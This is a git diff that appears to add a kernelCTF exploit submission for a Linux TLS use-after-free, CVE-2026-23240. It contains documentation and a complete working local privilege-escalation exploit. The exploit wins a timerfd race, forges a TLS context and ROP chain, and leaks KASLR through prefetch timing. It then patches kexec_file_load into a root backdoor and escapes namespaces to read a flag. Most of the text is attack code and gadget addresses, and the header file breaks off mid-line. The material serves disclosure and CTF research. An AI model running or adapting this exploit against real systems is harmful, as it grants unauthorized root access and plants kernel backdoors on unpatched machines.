diff --git a/pocs/linux/kernelctf/CVE-2026-23240_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2026-23240_cos/docs/exploit.md new file mode 100644 index 000000000..e999fb73a --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23240_cos/docs/exploit.md @@ -0,0 +1,211 @@ +## Setup + +### TLS setup + +To trigger the TLS encryption we must first configure the socket. +This is done using the setsockopt() with SOL_TLS option: + +``` + static struct tls12_crypto_info_aes_ccm_128 crypto_info; + crypto_info.info.version = TLS_1_2_VERSION; + crypto_info.info.cipher_type = TLS_CIPHER_AES_CCM_128; + + if (setsockopt(sock, SOL_TLS, TLS_TX, &crypto_info, sizeof(crypto_info)) < 0) + err(1, "TLS_TX"); + +``` + +This syscall triggers allocation of TLS context objects which will be important later on during the exploitation phase. + +In KernelCTF config PCRYPT (parallel crypto engine) is disabled, so our only option to trigger async crypto is CRYPTD (software async crypto daemon). + +Each crypto operation needed for TLS is usually implemented by multiple drivers. +For example, AES encryption in CBC mode is available through aesni_intel, aes_generic or cryptd (which is a daemon that runs these basic synchronous crypto operations in parallel using an internal queue). + +Available drivers can be examined by looking at /proc/crypto, however those are only the drivers of the currently loaded modules. Crypto API supports loading additional modules on demand. + +As seen in the code snippet above we don't have direct control over which crypto drivers are going to be used in our TLS encryption. +Drivers are selected automatically by Crypto API based on the priority field which is calculated internally to try to choose the "best" driver. + +By default, cryptd is not selected and is not even loaded, which gives us no chance to exploit vulnerabilities in async operations. + +However, we can cause cryptd to be loaded and influence the selection of drivers for TLS operations by using the Crypto User API. This API is used to perform low-level cryptographic operations and allows the user to select an arbitrary driver. + +The interesting thing is that requesting a given driver permanently changes the system-wide list of available drivers and their priorities, affecting future TLS operations. + +Following code causes AES CCM encryption selected for TLS to be handled by cryptd: + +``` + struct sockaddr_alg sa = { + .salg_family = AF_ALG, + .salg_type = "skcipher", + .salg_name = "cryptd(ctr(aes-generic))" + }; + int c1 = socket(AF_ALG, SOCK_SEQPACKET, 0); + + if (bind(c1, (struct sockaddr *)&sa, sizeof(sa)) < 0) + err(1, "af_alg bind"); + + struct sockaddr_alg sa2 = { + .salg_family = AF_ALG, + .salg_type = "aead", + .salg_name = "ccm_base(cryptd(ctr(aes-generic)),cbcmac(aes-aesni))" + }; + + if (bind(c1, (struct sockaddr *)&sa2, sizeof(sa)) < 0) + err(1, "af_alg bind"); +``` + +## Triggering use-after-free through race condition + +To trigger the vulnerability we have to race tls_encrypt_done() against tls_sw_cancel_work_tx(). + + +``` +void tls_sw_cancel_work_tx(struct tls_context *tls_ctx) +{ + struct tls_sw_context_tx *ctx = tls_sw_ctx_tx(tls_ctx); + + set_bit(BIT_TX_CLOSING, &ctx->tx_bitmask); + set_bit(BIT_TX_SCHEDULED, &ctx->tx_bitmask); +[1] cancel_delayed_work_sync(&ctx->tx_work.work); +} + + +static void tls_encrypt_done(crypto_completion_data_t *data, int err) +{ +... + if (rec) { + struct tls_rec *first_rec; + + /* Mark the record as ready for transmission */ + smp_store_mb(rec->tx_ready, true); + + /* If received record is at head of tx_list, schedule tx */ + first_rec = list_first_entry(&ctx->tx_list, + struct tls_rec, list); + if (rec == first_rec) { + /* Schedule the transmission */ +[2] if (!test_and_set_bit(BIT_TX_SCHEDULED, + &ctx->tx_bitmask)) { +[3] schedule_delayed_work(&ctx->tx_work.work, 1); + } + + + } + } + + if (atomic_dec_and_test(&ctx->encrypt_pending)) + complete(&ctx->async_wait.completion); +} +``` + +We have to make sure that tls_sw_cancel_work_tx() runs after the BIT_TX_SCHEDULED test in tls_encrypt_done() ([2]) and schedule_delayed_work() ([3]) is called after cancel_delayed_work_sync() ([1]). + +To accomplish this a well-known timerfd technique invented by Jann Horn is used. +Hrtimer based timerfd is set to trigger a timer interrupt between points [2] and [3] and close() is called during the resulting race window to trigger TLS context teardown. + +## Getting RIP control + +Getting RIP control is trivial when we control the argument to schedule_delayed_work() (struct delayed_work is at offset 0x30 of our victim object tls_sw_context_tx). + +``` +struct tls_sw_context_tx { + struct crypto_aead * aead_send; /* 0 0x8 */ + struct crypto_wait async_wait; /* 0x8 0x28 */ + struct tx_work tx_work; /* 0x30 0x60 */ + ... +} + +struct delayed_work { + struct work_struct work; /* 0 0x20 */ + struct timer_list timer; /* 0x20 0x28 */ + struct workqueue_struct * wq; /* 0x48 0x8 */ + int cpu; /* 0x50 0x4 */ +}; + +struct work_struct { + atomic_long_t data; /* 0 0x8 */ + struct list_head entry; /* 0x8 0x10 */ + work_func_t func; /* 0x18 0x8 */ +}; + +struct timer_list { + struct hlist_node entry; /* 0 0x10 */ + long unsigned int expires; /* 0x10 0x8 */ + void (*function)(struct timer_list *); /* 0x18 0x8 */ + u32 flags; /* 0x20 0x4 */ +}; + + + +``` + +Setting timer.function to our desired RIP is all that is needed. + +The important thing to note is that our code will be executed from the timer interrupt context. + +## Pivot to ROP + +When timer function is called we get control of following registers: +- RDI - pointer to struct timer_list (offset 0x20 from struct delayed_work and 0x50 from struct tls_sw_context_tx) +- R12 - copy of RDI + +We control entire tls_sw_context_tx object except for first 0x18 bytes (because of the key payload header), but many offsets are unusable for purpose of storing ROP chain because corresponding struct fields have to be set to particular values for the timer to be scheduled or are modified by timer subsystem before timer function are triggered. + +Following gadgets are used to pass control to ROP: + +#### Gadget 1 + +mov rax, qword ptr [r12 + 0x38] +test rax, rax +je 0xffffffff81b7602c +mov rdx, r13 +mov rsi, r12 +mov rdi, rbx +call __x86_indirect_thunk_rax + +This copies R12 to RSI. + +#### Gadget 2 + +push rsi +jmp qword ptr [rsi + 0x66] + +#### Gadget 3 + +pop rsp +jmp qword [rsi+0x0F] + + +#### Gadget 4 + +pop r12 +pop r13 +pop r14 +pop r15 +ret + +This jumps over first 32 bytes of the object that are unusable. + +## Second pivot + +At this point we have full ROP, but our space is limited. +To have enough space to execute all privilege escalation code we have to pivot again. +This is quite simple - we choose an unused read/write area in the kernel and use copy_user_generic_string() to copy the second stage ROP from userspace to that area. +Then we use a `pop rsp ; ret` gadget to pivot there. + +## Privilege escalation + +As mentioned before, our ROP is executed from the interrupt context, so we can't do a traditional commit_creds() to modify the current process's privileges because the current process context is unknown. + +We could try locating our exploit process and changing its privileges, but we decided to go with a different approach - we patch the kernel creating a backdoor that will grant root privileges to any process that executes a given syscall. + +We chose a rarely used kexec_file_load() syscall and overwrote its code with our get_root function that does all traditional privileges escalation/namespace escape stuff: commit_creds(init_cred), switch_task_namespaces(pid, init_nsproxy) etc. + +This function also returns a special value (0x777) that our user space code can use to detect if the system was already compromised. + +Patching the kernel function is done rop_patch_kernel_code() - it calls set_memory_rw() on destination memory and uses copy_user_generic() to write new code there. + +It would take a lot of effort to be able to properly return from the interrupt after all the pivots, so we just jump to an infinite loop gadget after patching is complete. This will make CPU 1 unusable, but we still have CPU 0 and from there can call kexec_file_load() to get root privileges. + diff --git a/pocs/linux/kernelctf/CVE-2026-23240_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2026-23240_cos/docs/vulnerability.md new file mode 100644 index 000000000..f897e8e3e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23240_cos/docs/vulnerability.md @@ -0,0 +1,42 @@ +## Requirements to trigger the vulnerability + +- Kernel configuration: CONFIG_TLS and CONFIG_CRYPTO_CRYPTD +- User namespaces required: no + +## Commit which introduced the vulnerability + +https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f87e62d45e51b12d48d2cb46b5cde8f83b866bc4 + +## Commit which fixed the vulnerability + +https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7bb09315f93dce6acc54bf59e5a95ba7365c2be4 + +## Affected kernel versions + +Introduced in 5.3. Fixed in 6.12.75. + +## Affected component, subsystem + +net/tls + +## Description + +During TLS context teardown of a socket tls_sw_cancel_work_tx() tries to ensure no TX workers are left running +before context is destroyed using cancel_delayed_work_sync(): + +``` +void tls_sw_cancel_work_tx(struct tls_context *tls_ctx) +{ + struct tls_sw_context_tx *ctx = tls_sw_ctx_tx(tls_ctx); + + set_bit(BIT_TX_CLOSING, &ctx->tx_bitmask); + set_bit(BIT_TX_SCHEDULED, &ctx->tx_bitmask); + cancel_delayed_work_sync(&ctx->tx_work.work); +} +``` + +However, new TX work can be scheduled from tls_encrypt_done() or tls_write_space() and these functions can run concurrently with tls_sw_cancel_work_tx(). +If schedule_delayed_work() is called from tls_encrypt_done() after cancel_delayed_work_sync() returns, use-after-free will happen in when in tls_work_handler() +because tls_sw_free_ctx_tx() will free the TLS TX context. + + diff --git a/pocs/linux/kernelctf/CVE-2026-23240_cos/exploit/cos-113-18244.582.47/Makefile b/pocs/linux/kernelctf/CVE-2026-23240_cos/exploit/cos-113-18244.582.47/Makefile new file mode 100644 index 000000000..ef879f4a9 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23240_cos/exploit/cos-113-18244.582.47/Makefile @@ -0,0 +1,9 @@ +INCLUDES = +LIBS = -pthread -lkernelXDK +CFLAGS = -fomit-frame-pointer -static -fcf-protection=none -Wno-writable-strings + +exploit: exploit.cpp kernelver_18244.582.47.h target.kxdb kaslr.c + g++ -o $@ exploit.cpp kaslr.c $(INCLUDES) $(CFLAGS) $(LIBS) + +prerequisites: + sudo apt-get install libkeyutils-dev diff --git a/pocs/linux/kernelctf/CVE-2026-23240_cos/exploit/cos-113-18244.582.47/exploit b/pocs/linux/kernelctf/CVE-2026-23240_cos/exploit/cos-113-18244.582.47/exploit new file mode 100755 index 000000000..53fc20506 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-23240_cos/exploit/cos-113-18244.582.47/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-23240_cos/exploit/cos-113-18244.582.47/exploit.cpp b/pocs/linux/kernelctf/CVE-2026-23240_cos/exploit/cos-113-18244.582.47/exploit.cpp new file mode 100644 index 000000000..dcf6cb047 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23240_cos/exploit/cos-113-18244.582.47/exploit.cpp @@ -0,0 +1,704 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "kernelver_18244.582.47.h" + +#include +#include + +INCBIN(target_db, "target.kxdb"); + +static char *g_mmapped_buf; +static uint64_t g_kernel_text; +static int g_debug; +static int g_event1; + +uint64_t leak_kernel_text(); + +void set_cpu(int cpu) +{ + cpu_set_t cpus; + CPU_ZERO(&cpus); + CPU_SET(cpu, &cpus); + if (sched_setaffinity(0, sizeof(cpu_set_t), &cpus) < 0) { + perror("setaffinity"); + exit(1); + } +} + +void set_cpu_all() +{ + cpu_set_t cpus; + CPU_ZERO(&cpus); + for (int i = 0; i < 4; i++) + { + CPU_SET(i, &cpus); + } + if (sched_setaffinity(0, sizeof(cpu_set_t), &cpus) < 0) { + perror("setaffinity"); + exit(1); + } +} + +void get_kctf_flag() +{ + char buf[512]; + + + int fd = open("/flag", O_RDONLY); + + if (fd < 0) + return; + + size_t n = read(fd, buf, sizeof(buf)); + if (n > 0) { + printf("Flag:\n"); + + write(1, buf, n); + + printf("\n"); + } + + close(fd); +} + +static char *g_sh_argv[] = {"sh", NULL}; + +static int g_status; + +#define MMAP_SIZE 0x8000 +#define KEY_HEAD_SIZE 0x18 + +static Target target = Target("kernelctf", "cos-113-18244.582.47"); +static int g_pwned; +static char *g_rop2; +static int g_trigger_only; + +#define ROP3_CONST_OFFSET 0x200 + +#define KOFFSET(x) (x-0xffffffff81000000uL) +#define _STR(x) #x +#define STR(x) _STR(x) + +uint64_t kaddr(uint64_t addr) +{ + return g_kernel_text + addr - 0xffffffff81000000uL; +} + +uint64_t kaddr_offset(uint64_t offset) +{ + return g_kernel_text + offset; +} + +void reboot() +{ + int fd = open("/proc/sysrq-trigger", O_WRONLY); + write(fd, "b", 1); + close(fd); +} + +void after_pwn() +{ + g_pwned = 1; + + int pid = fork(); + + if (!pid) { + + if (setns(open("/proc/1/ns/mnt", O_RDONLY), 0) < 0) + perror("setns"); + + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + printf("\nGot root!!!\n"); + printf("Getting kctf flags ...\n"); + + get_kctf_flag(); + +// Force reboot to avoid hangs of the repro system + sleep(5); + reboot(); + } + + waitpid(pid, &g_status, 0); +} + + + +int alloc_xattr_fd_attr(int fd, char *attr, size_t size, void *buf) +{ + int res = fsetxattr(fd, attr, buf, size - target.GetStructSize("simple_xattr"), XATTR_CREATE); + if (res < 0) { + perror("fsetxattr"); + } + + return fd; +} + +int alloc_xattr_fd(int fd, unsigned int id, size_t size, void *buf) +{ + char *attr; + + asprintf(&attr, "security.%d", id); + alloc_xattr_fd_attr(fd, attr, size, buf); + + return fd; +} + +void free_xattr_fd(int fd, int id) +{ + char *attr; + + asprintf(&attr, "security.%d", id); + + fremovexattr(fd, attr); +} + +key_serial_t alloc_key(int id, size_t len, char *buf) +{ + key_serial_t serial; + char desc[256]; + len -= KEY_HEAD_SIZE; + + snprintf(desc, sizeof(desc), "k%d", id); + + serial = syscall(SYS_add_key, "user", desc, buf, len, KEY_SPEC_PROCESS_KEYRING); + + if (serial < 0) + err(1, "key add"); + + return serial; +} + +void free_key(key_serial_t key) +{ + long ret = syscall(SYS_keyctl, KEYCTL_UNLINK, key, KEY_SPEC_PROCESS_KEYRING); + if (ret < 0) { + perror("key unlink"); + exit(1); + } + +} + +int server() +{ + int listen_sock = socket(AF_INET, SOCK_STREAM, 0); + if (listen_sock < 0) + err(1, "socket"); + + struct sockaddr_in addr, client_addr; + socklen_t client_addr_sz; + + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = inet_addr("127.0.0.1"); + addr.sin_port = htons(7777); + + if (bind(listen_sock, (struct sockaddr *) &addr, sizeof(addr)) < 0) + err(1, "bind"); + + listen(listen_sock, 4096); + + return listen_sock; +} + +#define DUP_CNT 1300 +#define EPOLL_CNT 550 + +int epoll_fds[EPOLL_CNT]; +int tfd_dups[DUP_CNT]; + +void create_watches(int fd) +{ + for (int i=0; itv_nsec += usecs * 1000; + + if (ts->tv_nsec >= NSEC_PER_SEC) { + ts->tv_sec++; + ts->tv_nsec -= NSEC_PER_SEC; + } +} + + +void rop_patch_kernel_code(uint64_t **rop_p, uint64_t dst, uint64_t src, size_t len) +{ + + uint64_t *rop = *rop_p; + *rop++ = kaddr(POP_RSI); + *rop++ = 0x100; + *rop++ = kaddr(POP_RDI); + *rop++ = dst & (~0xfffff); + *rop++ = kaddr_offset(target.GetSymbolOffset("set_memory_rw")); + + *rop++ = kaddr(POP_RDI_RSI_RDX_RCX); + *rop++ = dst; + *rop++ = src; + *rop++ = len; + *rop++ = 0xdeadbeef; + *rop++ = kaddr_offset(target.GetSymbolOffset("copy_user_generic_string")); + + *rop_p = rop; +} + +void __attribute__((naked)) get_root() +{ + asm volatile( + "push %r12\n" + "lea -(" STR(KOFFSET(SYS_KEXEC_FILE_LOAD) + 9) ")(%rip), %r12\n" + "push %r13" + ); + +// commit_creds(init_cred) + asm volatile( + "lea (%%r12,%0), %%rdi\n" + "lea (%%r12,%1), %%r13\n" + "call *%%r13\n" + :: + "r" (KOFFSET(INIT_CRED)), + "r" (KOFFSET(COMMIT_CREDS)) + : "r12", "rdi" + ); + +// find_task_by_vpid(1) + asm volatile( + "lea (%%r12,%0), %%r13\n" + "mov $1, %%rdi\n" + "call *%%r13\n" + "mov %%rax, %%rdi\n" + :: + "r" (KOFFSET(FIND_TASK_BY_VPID)) + : "r12", "rdi" + ); + +// switch_task_namespaces(pid, init_nsproxy) + asm volatile( + "lea (%%r12,%0), %%rsi\n" + "lea (%%r12,%1), %%r13\n" + "call *%%r13\n" + :: + "r" (KOFFSET(INIT_NSPROXY)), + "r" (KOFFSET(MY_SWITCH_TASK_NAMESPACES)) + : "r10", "rdi" + ); + +// return 0x777 + asm volatile( + "lea (%%r12,%0), %%rcx\n" + "pop %%r12\n" + "pop %%r13\n" + "mov $0x777, %%rax\n" + "jmp *%%rcx\n" + :: + "r" (KOFFSET(RETURN_THUNK)) + : "r10" + ); + +} + +size_t prepare_rop2(uint64_t *rop2) +{ + uint64_t *rop2_start = rop2; + + rop_patch_kernel_code(&rop2, kaddr_offset(target.GetSymbolOffset("__do_sys_kexec_file_load")), (uint64_t) get_root, 0x200); + + *rop2++ = kaddr(INFLOOP); + + return (char *) rop2 - (char *) rop2_start; +} + + +char *g_stack1; + +struct child_arg { + int tfd; + int sock; + int delay; + unsigned int attempt; + struct msghdr *msg; +}; + +int child_send(void *arg) +{ + struct itimerspec its = { 0 }; + struct child_arg *carg = (struct child_arg *) arg; + + set_cpu(1); + + ts_add(&its.it_value, carg->delay); + + eventfd_write(g_event1, 1); + + timerfd_settime(carg->tfd, 0, &its, NULL); + + int ret = sendmsg(carg->sock, carg->msg, 0); + volatile uint64_t v = 0; + while (1) + { + v++; + } + sleep(1000); +} + +#define STACK_SIZE (1024 * 1024) /* Stack size for cloned child */ + +void prepare_fake_ctx(char *buf) +{ +// struct tls_sw_context_tx + char *ctx = buf; +// struct delayed_work + char *work = ctx + 0x30; +// struct timer_list + char *timer = work + 0x20; + + memset(ctx, 0, 192); + memset(timer, 'A', 0x100); + +// Prevent hlist unlink crash + *(uint64_t *) (timer) = 0; +// 0x8 cleared +// pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret + *(uint64_t *) (timer + 0xF) = kaddr(0xffffffff8102df00); +// timer->fn +/* +0xffffffff81b75f5c: mov rax, qword ptr [r12 + 0x38] +0xffffffff81b75f61: test rax, rax +0xffffffff81b75f64: je 0xffffffff81b7602c +0xffffffff81b75f6a: mov rdx, r13 +0xffffffff81b75f6d: mov rsi, r12 +0xffffffff81b75f70: mov rdi, rbx +0xffffffff81b75f73: call __x86_indirect_thunk_rax +*/ + + *(uint64_t *) (timer + 0x18) = kaddr(0xffffffff81b75f5c); +// pop rsi ; pop rdi ; add rsp, 8 ; ret + *(uint64_t *) (timer + 0x20) = kaddr(0xffffffff819d4b0c); +// rsi + *(uint64_t *) (timer + 0x28) = (uint64_t) g_rop2; +// rdi + *(uint64_t *) (timer + 0x30) = kaddr(RW_BUFFER); + *(uint64_t *) (timer + 0x38) = kaddr(PUSH_RSI_JMP_QWORD_RSI_066); + + uint64_t *rop = (uint64_t *) (timer + 0x40); + *rop++ = kaddr(COPY_USER_GENERIC_STRING); + *rop++ = kaddr(POP_RSP); + *rop++ = kaddr(RW_BUFFER); + +// 0xffffffff81c51fd5: pop rsp ; jmp qword [rsi+0x0F] + *(uint64_t *) (timer + 0x66) = kaddr(0xffffffff81c52015); +} + + +void one_attempt(int tfd, int xattr_fd, unsigned int force_delay) +{ + static unsigned int attempt = 0; + + alloc_xattr_fd(xattr_fd, 0, 192, g_mmapped_buf); + + int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + + if (sock < 0) + err(1, "socket"); + + struct sockaddr_in addr; + memset(&addr, 0, sizeof(addr)); + + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = inet_addr("127.0.0.1"); + addr.sin_port = htons(7777); + + if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0) + err(1, "connect"); + + + if (setsockopt(sock, SOL_TCP, TCP_ULP, "tls", sizeof("tls")) < 0) + err(1, "setsockopt"); + + static struct tls12_crypto_info_aes_ccm_128 crypto_info; + crypto_info.info.version = TLS_1_2_VERSION; + crypto_info.info.cipher_type = TLS_CIPHER_AES_CCM_128; + + set_cpu(0); + + if (setsockopt(sock, SOL_TLS, TLS_TX, &crypto_info, sizeof(crypto_info)) < 0) + err(1, "TLS_TX"); + + struct msghdr msg; + memset(&msg, 0, sizeof(msg)); + + + struct iovec iov[1]; + iov[0].iov_base = g_mmapped_buf; + iov[0].iov_len = 1; + + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + int ret = sendmsg(sock, &msg, MSG_MORE); + + iov[0].iov_len = 0; + char cbuf[CMSG_SPACE(1) + CMSG_SPACE(0)]; + + memset(cbuf, 0, sizeof(cbuf)); + struct cmsghdr *cmsg; + + msg.msg_control = cbuf, + msg.msg_controllen = sizeof(cbuf); + + cmsg = CMSG_FIRSTHDR(&msg); + cmsg->cmsg_level = SOL_TLS; + cmsg->cmsg_type = TLS_SET_RECORD_TYPE; + cmsg->cmsg_len = CMSG_LEN(1); + *CMSG_DATA(cmsg) = 22; + + cmsg = CMSG_NXTHDR(&msg, cmsg); + cmsg->cmsg_level = SOL_TLS; + cmsg->cmsg_type = 0x1337; + cmsg->cmsg_len = CMSG_LEN(0); + + + int delay = 13; + struct child_arg carg = { + .tfd = tfd, + .sock = sock, + .delay = delay, + .attempt = attempt++, + .msg = &msg + }; + + printf("Attempt: %d delay: %d pid: %d\n", carg.attempt, delay, getpid()); + + prepare_fake_ctx(g_mmapped_buf - KEY_HEAD_SIZE); + + pid_t pid = clone(child_send, g_stack1 + STACK_SIZE, CLONE_VM | CLONE_FS | CLONE_FILES | SIGCHLD, (void *) &carg); + + eventfd_t event_value; + eventfd_read(g_event1, &event_value); + + usleep(10000); + close(sock); + free_xattr_fd(xattr_fd, 0); + key_serial_t k1 = alloc_key(0, 192, g_mmapped_buf); + + usleep(60000); + + free_key(k1); + + kill(pid, 9); + + while (1) + { + int status; + int ret = waitpid(pid, &status, WNOHANG); + + if (syscall(__NR_kexec_file_load) == 0x777) { + printf("Privilege escalation successful!\n"); + after_pwn(); + } + + if (ret < 0) + err(1, "waitpid"); + else if (ret) + break; + } + +} + +int main(int argc, char **argv) +{ + int ret; + struct rlimit rlim; + unsigned int force_delay = 0; + + system("cat /proc/cpuinfo"); + + setbuf(stdout, NULL); + + rlim.rlim_cur = rlim.rlim_max = 4096; + if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) + err(1, "setrlimit()"); + + if (argc > 1 && !strcmp(argv[1], "--vuln-trigger")) { + g_trigger_only = 1; + } else { + g_kernel_text = leak_kernel_text(); + + printf("Using kernel base: 0x%lx\n", g_kernel_text); + + TargetDb kxdb("target.kxdb", target_db); + target = kxdb.AutoDetectTarget(); + } + if (argc > 2) { + int num; + if ((num = atoi(argv[2])) > 0) { + printf("delay: %d\n", num); + force_delay = num; + } + } + + + g_mmapped_buf = (char *) mmap(NULL, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0); + if (g_mmapped_buf == MAP_FAILED) { + perror("mmap"); + return 1; + } + + memset(g_mmapped_buf, 0, MMAP_SIZE); + + struct timeval time; + gettimeofday(&time,NULL); + + srand((time.tv_sec * 1000) + (time.tv_usec / 1000)); + + set_cpu(0); + + + int xattr_fd = open("/tmp/x", O_RDWR|O_CREAT, 0700); + if (xattr_fd < 0) + err(1, "xattr open\n"); + + struct sockaddr_alg sa = { + .salg_family = AF_ALG, + .salg_type = "skcipher", + .salg_name = "cryptd(ctr(aes-generic))" + }; + int c1 = socket(AF_ALG, SOCK_SEQPACKET, 0); + + if (bind(c1, (struct sockaddr *)&sa, sizeof(sa)) < 0) + err(1, "af_alg bind"); + + struct sockaddr_alg sa2 = { + .salg_family = AF_ALG, + .salg_type = "aead", + .salg_name = "ccm_base(cryptd(ctr(aes-generic)),cbcmac(aes-generic))" + }; + + if (bind(c1, (struct sockaddr *)&sa2, sizeof(sa)) < 0) + err(1, "af_alg bind"); + + + g_stack1 = (char *) mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0); + if (g_stack1 == MAP_FAILED) { + perror("mmap"); + exit(1); + + } + +#define ROP3_MMAP_SIZE 0x4000 + g_rop2 = (char *) mmap(NULL, ROP3_MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0); + if (g_rop2 == MAP_FAILED) + err(1, "mmap"); + + size_t rop2_len = prepare_rop2((uint64_t *) g_rop2); + if (rop2_len > ROP3_CONST_OFFSET) + err(1, "Stage 2 ROP size too big: %zu > %d\n", rop2_len, ROP3_CONST_OFFSET); + + + int tfd = timerfd_create(CLOCK_MONOTONIC, 0); + create_watches(tfd); + g_event1 = eventfd(0, 0); + + + int listen_sock = server(); + + + printf("parent pid: %d\n", getpid()); + unsigned long i = 0; + for (int j = 0; j < 17000; j++) + { +// Instead of accepting all waiting connection just drop them by recreating the socket + if (i++ > 4094) { + close(listen_sock); + listen_sock = server(); + i = 0; + } + + one_attempt(tfd, xattr_fd, force_delay); + } + + + if (!g_pwned) { + printf("Failed to trigger vuln, try again!\n"); + _exit(0); + } + +// Can't exit, everything might crash + while (1) + sleep(1000); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2026-23240_cos/exploit/cos-113-18244.582.47/kaslr.c b/pocs/linux/kernelctf/CVE-2026-23240_cos/exploit/cos-113-18244.582.47/kaslr.c new file mode 100644 index 000000000..743cbd8fd --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23240_cos/exploit/cos-113-18244.582.47/kaslr.c @@ -0,0 +1,132 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +// Some of this code is based on Prefetch Side-Channel work by Daniel Gruss + +size_t hit_histogram[4000]; +size_t miss_histogram[4000]; + +inline __attribute__((always_inline)) uint64_t rdtsc_begin() { + uint64_t a, d; + asm volatile ("mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "xor %%rax, %%rax\n\t" + "mfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d<<32) | a; + return a; +} + +inline __attribute__((always_inline)) uint64_t rdtsc_end() { + uint64_t a, d; + asm volatile( + "xor %%rax, %%rax\n\t" + "mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "mfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d<<32) | a; + return a; +} + +void prefetch(void* p) +{ + asm volatile ("prefetchnta (%0)" : : "r" (p)); + asm volatile ("prefetcht2 (%0)" : : "r" (p)); +} + +size_t onlyreload(void* addr) // row hit +{ + size_t time = rdtsc_begin(); + prefetch(addr); + size_t delta = rdtsc_end() - time; + //maccess((void*)0x500000); + return delta; +} + +#define TRIES (1*128*1024) + +size_t measure(size_t addr) +{ + memset(hit_histogram,0,4000*sizeof(size_t)); + + for (int i = 0; i < TRIES; ++i) + { + size_t d = onlyreload((void*)addr); + hit_histogram[MIN(3999,d)]++; + } + + size_t sum_hit = 0; + size_t hit_max = 0; + size_t hit_max_i = 0; + for (int i = 0; i < 4000; ++i) + { + if (hit_max < hit_histogram[i]) + { + hit_max = hit_histogram[i]; + hit_max_i = i; + } + sum_hit += hit_histogram[i] * i; + } + + return sum_hit / TRIES; +} + + +uint64_t leak_kernel_text() +{ + cpu_set_t set; + uint64_t bad_time, time, addr; + + CPU_ZERO(&set); + CPU_SET(0, &set); + + if (sched_setaffinity(getpid(), sizeof(set), &set) == -1) { + perror("sched_setaffinity"); + return -1; + } + +// First measurement is always trash + bad_time = measure(0xffffffff00000000); + + bad_time = measure(0xffffffff00000000); + +// printf("Timing for non-existent kernel page: %zu\n", bad_time); + + for (addr = 0xffffffff81000000L; addr < 0xffffffffff000000L; addr += 0x100000) + { + time = measure(addr); + + printf("0x%lx: %zu\n", addr, time); + + if (time > 190) + break; + } + +// Renable all CPUs + for (int i = 1; i < 4; i++) + { + CPU_SET(i, &set); + } + + if (sched_setaffinity(getpid(), sizeof(set), &set) == -1) { + perror("sched_setaffinity"); + return -1; + } + + return addr; +} diff --git a/pocs/linux/kernelctf/CVE-2026-23240_cos/exploit/cos-113-18244.582.47/kernelver_18244.582.47.h b/pocs/linux/kernelctf/CVE-2026-23240_cos/exploit/cos-113-18244.582.47/kernelver_18244.582.47.h new file mode 100644 index 000000000..16320ad38 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23240_cos/exploit/cos-113-18244.582.47/kernelver_18244.582.47.h @@ -0,0 +1,29 @@ +#define COPY_USER_GENERIC_STRING 0xffffffff822c2740 +#define PUSH_RDI_JMP_QWORD_RSI_0F 0xffffffff81c547e5 +#define FIND_TASK_BY_VPID 0xffffffff811cd500 +#define RETURN_THUNK 0xffffffff826054f0 +#define POP_RSP_RBP_RBX 0xffffffff81127165 +#define POP_RCX 0xffffffff8102ce2c +#define INIT_CRED 0xffffffff83a75fc0 +#define PUSH_RSI_JMP_QWORD_RSI_0F 0xffffffff81c6d448 +#define POP_RSI_RDX_RCX 0xffffffff810e0e5a +#define INIT_NSPROXY 0xffffffff83a75d80 +#define MY_SWITCH_TASK_NAMESPACES 0xffffffff811d5010 +#define PUSH_RAX_JMP_QWORD_RCX 0xffffffff8132bcf4 +#define POP_RDI_RSI_RDX_RCX 0xffffffff810e0e59 +#define POP_RSI_RDI 0xffffffff81afdbb1 +#define POP_RDX_RDI 0xffffffff8193784b +#define AUDIT_SYSCALL_EXIT 0xffffffff8128a6b0 +#define SYS_KEXEC_FILE_LOAD 0xffffffff812654a0 +#define RETURN_VIA_SYSRET 0xffffffff8240021b +#define MEMCPY 0xffffffff822cb500 +#define SET_MEMORY_RW 0xffffffff8113e380 +#define COMMIT_CREDS 0xffffffff811d6b90 +#define POP_RSI 0xffffffff81007ace +#define POP_RSP 0xffffffff816c2a79 +#define POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX 0xffffffff810e0e51 +#define 